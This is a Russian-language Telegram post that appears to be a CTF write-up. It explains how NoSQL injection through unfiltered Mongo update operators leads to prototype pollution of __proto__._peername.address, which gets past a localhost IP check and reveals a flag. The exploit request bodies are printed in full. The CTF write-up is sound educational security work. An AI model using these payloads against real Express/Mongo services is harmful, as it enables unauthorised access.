TGViewer
Fail Auth Fail Auth @failauth · 205 subscribers
Post #126 3.71K
Prototype Pollution → Localhost Bypass

Недавно решал веб-челлендж на НТВ (white-box).
На первый взгляд — максимально простой сервис заметок на Express + Mongo. Но внутри оказалась очень интересная цепочка через server-side prototype pollution, которая приводит к обходу IP-проверки.

1️⃣ Первичный анализ
В коде явно видно ограничение доступа к /flag:
app.get('/flag', (req, res) => {
const remoteAddress = req.connection.remoteAddress;
if (
remoteAddress === '127.0.0.1' ||
remoteAddress === '::1' ||
remoteAddress === '::ffff:127.0.0.1'
)

То есть флаг доступен только при запросе с localhost.
Следовательно, задача — заставить сервер считать наш запрос локальным.

2️⃣ Точка входа
Обращает на себя внимание эндпоинт обновления заметок /update:
await Note.findByIdAndUpdate(noteId, req.body);

Здесь:
- пользовательский ввод (req.body) передаётся напрямую в Mongo
- отсутствует фильтрация операторов ($set, $rename и т.д.)
- нет валидации структуры
Это типичный паттерн, приводящий к NoSQL injection.

3️⃣ Подтверждение NoSQL injection
Решил проверить, можно ли управлять выборкой документов:
POST /update

{
"noteId": {
"$ne": null
}
}

Сервер возвращает все заметки → значит можно управлять Mongo-запросом.
Это даёт контроль над фильтрацией и update-операторами.

4️⃣ Эскалация Prototype Pollution
Следующий шаг — проверить, можно ли выйти за пределы обычных полей.
Использовал $rename, чтобы записать значение в специальный путь:
POST /update

{
"noteId": "ID",
"$rename": {
"title": "__proto__.test"
}
}

После этого приложение начинает вести себя нестабильно.
Данные записываются не в документ, а в прототип объектов это ключевой сигнал.

5️⃣ Что такое Prototype Pollution в данном контексте
В JavaScript при обращении к свойству:
obj.prop

движок ищет его:
- в самом объекте
- затем в prototype (proto)
- далее по цепочке

Если атакующий может записать значение в Object.prototype, его начинают видеть все обьекты.
В данном случае приводит к глобальному изменению поведения:
__proto__.something = value


6️⃣ Поиск точки использования (gadget)
Теперь ключевой этап — найти, где polluted данные используются.
Очевидные варианты не дают результата:
__proto__.remoteAddress
__proto__.ip

Это означает, что remoteAddress не является обычным полем.

7️⃣ Важный момент — getter
В Node.js req.connection.remoteAddress — это не просто значение,
а вычисляемое свойство (getter), которое получает IP из внутренних структур сокета.
То есть важно не само поле remoteAddress, а источник, из которого оно берётся.

8️⃣ Поиск внутреннего источника
При переборе вложенных и внутренних полей:
__proto__.connection.remoteAddress
__proto__.socket.remoteAddress
__proto__._peername.address


рабочим оказывается:
__proto__._peername.address

Это внутреннее поле, из которого Node берёт адрес клиента.

9️⃣ Эксплуатация
Так как /create принимает только строки, сначала сохраняем нужное значение:
POST /update

{
"title": "::ffff:127.0.0.1",
"content": "x"
}


Далее переносим его в прототип:
POST /update

{
"noteId": "ID",
"$rename": {
"title": "__proto__._peername.address"
}
}


Это приводит к:
Object.prototype._peername.address = "::ffff:127.0.0.1"


1️⃣0️⃣ Результат
При обращении к /flag getter использует _peername.address, который теперь берётся из prototype.
req.connection.remoteAddress


Сервер получает данные и считает запрос локальным:
::ffff:127.0.0.1


Итог
➡️ NoSQL injection → доступ к Mongo operators
➡️ $rename → запись в proto
➡️ prototype pollution → глобальное изменение поведения объектов
➡️ использование внутреннего поля (_peername) → обход IP-проверки

Инсайт
Prototype pollution — это не просто “сломать объект”.
Это возможность повлиять на данные, которые используются внутри логики приложения, даже если они не передаются напрямую.
  • 👍 8
  • ❤‍🔥 3
  • 👨‍💻 2
  • ❤ 1
More from @failauth
  1. Jul 4, 2026Наконец-то получил бумажку! Это было слишком жестко! 🤩
  2. May 29, 2026HTTP Request Smuggling → Privilege Escalation Разбирал задание с уязвимостью CL.TE (Conten…
  3. Apr 21, 2026Всем привет! Вот и у меня дошли руки поделиться впечатлениями и эмоциями об ообучнии и сда…
  4. Apr 16, 2026Хей! Пост немного задержался... Но я принес вам Хабр-статью с моей рефлексией по итогам сд…
  5. Apr 16, 2026Всем, кто в теме, рекомендую к прочтению! 💻 Делясь знаниями, получаешь больше 🤝
  6. Apr 6, 2026Всем привет! 🕵‍♂️ Не сложилось у меня с CPTS, не зашло. Переиграл план, который по обучен…
Threads Profile ViewerView any public Threads profile without an account.Open ThreadLook →Writing with AI? Make it sound human.Metric37 rewrites AI drafts so they read naturally. Free AI detector, 1,500 words free.Try Metric37 →